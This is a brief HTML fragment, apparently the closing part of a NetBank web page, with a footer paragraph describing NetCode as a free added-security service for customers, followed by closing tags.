            <p id="why-info-text" class="scrollbar">NetCode is a free service available to all NetBank customers. It provides added security when completing certain transactions.</p>
        </div>
    </footer>

    </div>
</form>


</body></html>